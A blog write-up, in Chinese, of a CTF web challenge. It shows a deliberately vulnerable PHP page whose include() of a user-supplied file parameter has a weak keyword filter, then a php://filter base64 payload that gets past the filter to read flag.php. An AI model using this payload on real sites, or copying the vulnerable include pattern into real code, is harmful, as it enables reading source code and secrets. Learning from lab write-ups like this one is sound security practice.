BUUCTF [极客大挑战 2019]Secret File

最新推荐文章于 2024-05-13 22:33:34 发布

白塔河冲浪手

最新推荐文章于 2024-05-13 22:33:34 发布

阅读量213

点赞数

分类专栏：第二周刷题记录3.14-3.20 文章标签： php web安全网络安全

本文链接：https://blog.csdn.net/m0_63253040/article/details/123517497

版权

第二周刷题记录3.14-3.20 专栏收录该内容

7 篇文章 0 订阅

订阅专栏

进入环境

查看源代码

点进去看看

源代码没有，看看页面长啥样

有个按钮，点进去看看

回去抓包

提示secr3t.php ,进去有一串php代码，意思是过滤了一些字符，且提示flag在flag.php里

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

直接?file=flag.php看看

源代码里也没有，这里有include函数，试试php://filter

?file=php://filter/read=convert.base64-encode/resource=flag.php

出来了，去base64解码看看

flag{9399eb96-9828-40e1-b246-e3c356e30e68}

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

白塔河冲浪手

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
BUUCTF [极客大挑战 2019]Secret File

进入环境查看源代码点进去看看源代码没有，看看页面长啥样有个按钮，点进去看看回去抓包提示secr3t.php ,进去有一串php代码，意思是过滤了一些字符，且提示flag在flag.php里<html> <title>secret</title> <meta charset="UTF-8"><?php highlight_file(__FILE__); error_re.
复制链接

扫一扫